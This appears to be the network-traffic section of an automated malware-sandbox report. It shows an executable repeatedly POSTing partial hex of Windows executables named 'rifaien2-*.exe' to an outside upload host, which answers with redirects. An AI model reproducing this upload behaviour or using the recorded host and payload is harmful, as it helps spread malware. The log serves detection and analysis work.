Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50341	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:01.722103119 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------0320226342237386
Oct 10, 2024 21:02:02.167017937 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:02.180238962 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 33 32 30 32 32 36 33 34 32 32 33 37 33 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------0320226342237386Content-Disposition: form-data; name="file[]"; filename="rifaien2-AjoycwODvDSL5IAO.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:02.180563927 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:02.185574055 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:02.185631037 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:02.185652018 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:02.185677052 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:02.185712099 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:02.185772896 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:02.185796976 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:02.185827971 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:02.509577036 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:02 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:02 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hR%2B1hU1v9woq2CX2hZ7ki4IdSOz7JUvyY8aSoWZUK0RTOBku%2BcQ1eA35HaOZ66OBLak7QO4SCh1vMv%2BbuZN5LNuzhp8J6EvwN%2BjYdtPcv3DBOdA8LedXbBtpoLXnBY3G4EbSvxRZlb0SMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcc75ead1a48-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50342	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:02.653698921 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9e9eb89944d959dc
Oct 10, 2024 21:02:03.099555969 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:03.100471020 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 65 39 65 62 38 39 39 34 34 64 39 35 39 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9e9eb89944d959dcContent-Disposition: form-data; name="file[]"; filename="rifaien2-zp2ChanxJl0jb6U5.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:03.100753069 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:03.105784893 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:03.105825901 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:03.105835915 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:03.105892897 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:03.105915070 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:03.105957031 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:03.105986118 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:03.106412888 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:03.411035061 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:03 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:03 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6614g%2BFWPDmy7sjJLZ18%2FYVL2IPXlgxgpt0yZf%2BzNEQuiAlKQkav5uC2hOrD33UtDQfd%2Bh2DQG6Af%2FmiyRJZV2%2BjJXtCD7fZIyBbZT7QXYB0Osc0IIyZWjy1DswcMqugGOiK6d9cAxaMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dccd3e587cfa-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50343	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:03.542251110 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------314c1045dd7f33f0
Oct 10, 2024 21:02:04.062104940 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:04.063500881 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 31 34 63 31 30 34 35 64 64 37 66 33 33 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------314c1045dd7f33f0Content-Disposition: form-data; name="file[]"; filename="rifaien2-OIzrhQpACDLMrvoU.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:04.063500881 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:04.069211960 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:04.069211960 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:04.069457054 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:04.069590092 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:04.069652081 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:04.069681883 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:04.069729090 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:04.073731899 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:04.371165037 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:04 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:04 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VNFY2f1TSyKWqNhY0sK8GrDO4pYhge5yBmYtOByU5SpdOWlHK6ZhReejiUEY0bQwwKV6BBWqfs1XD1BAWme1te5SRow4TncVwlwLpnxWuoLSYRt9CyL8kZsLeMb9L1%2BeeDyhRKQ4bDxx5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcd33bf042ec-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50344	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:04.784837008 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------06aae9fd55956f43
Oct 10, 2024 21:02:05.263648987 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:05.264744997 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 36 61 61 65 39 66 64 35 35 39 35 36 66 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------06aae9fd55956f43Content-Disposition: form-data; name="file[]"; filename="rifaien2-S9mLKeVTibmzm085.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:05.264997005 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:05.270015001 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:05.270066023 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:05.270087957 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
